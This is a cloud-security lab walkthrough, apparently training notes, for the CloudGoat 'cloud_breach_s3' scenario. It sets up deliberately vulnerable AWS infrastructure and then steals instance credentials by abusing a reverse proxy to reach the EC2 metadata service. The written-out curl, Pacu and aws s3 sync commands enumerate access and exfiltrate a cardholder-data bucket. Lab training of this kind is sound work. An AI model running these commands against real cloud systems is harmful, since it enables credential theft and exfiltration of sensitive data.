EC2 Attack¶
Notes¶
Setup AWS Profile¶
Setup Cloudgoat¶
Create vulnerable infrastructure¶
Now that the tools are setup we will use Cloudgoat to setup vulnerable infrastructure in AWS. This will create a scenario with a misconfigured reverse-proxy server in EC2.
Run the attack scenario
~/cloudgoat/cloudgoat.py create cloud_breach_s3
Note
Copy the response to a text file. You will need the EC2 IP
Start attack¶
At this point we have created vulnerable infrastructure in AWS using Cloudgoat. Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.
Get Role Name¶
Replace
<ec2-ip-address>with the IP address from the previous step to get a role name.
curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'
Note
Copy the response to a text file. You will need the role
Get Credentials¶
Replace
<ec2-ip-address>and<ec2-role-name>from the previous steps to get the keys
curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> -H 'Host:169.254.169.254'
Note
Copy response to text file. You will use the stolen credentials
Pacu Discovery¶
Next we will use pacu to do discovery with the stolen credentials
Start pacu from the shell session by running
~/pacu/cli.pyCreate new session in pacu named
cloud_breach_s3Set the keys using
set_keysfrom the pacu session using the stolen credentials from the previous step
Pacu Results¶
Use pacu to start discovery using the following modules
run aws__enum_accountGet account details: permission deniedrun iam__enum_permissionsGet permissions for IAM entity: permission deniedrun iam__enum_users_roles_policies_groupsGet group polices for IAM entity: permission deniedrun iam__bruteforce_permissionsBrute force for access to services: BINGO!
The stolen credentials have full access to S3
Exit pacu by typing
exitand return to attack
Data Exfil¶
Create a new aws profile with stolen credentials
aws configure --profile cloud_breach_s3
Set the
AWS Access Key IDandAWS Secret Access Keyusing the stolen credentialsSet the “Default region” name and the “Default output” format to
jsonManually add the
aws_session_tokento the aws credentials file (use i for insert mode then esc :wq to save and close)
vi ~/.aws/credentials
Use aws cli to list buckets the stolen credentials have access to
aws s3 ls --profile cloud_breach_s3
Download data from the
cardholder-databucket to local system home directory. Replace<bucket-name>with the bucket to download data
aws s3 sync s3://<bucket-name> ~/cardholder-data --profile cloud_breach_s3
Change to home directory and perfom list to verify data was downloaded
cd && ls
Remove vulnerable infrastructure
~/cloudgoat/cloudgoat.py destroy cloud_breach_s3
Attack had been completed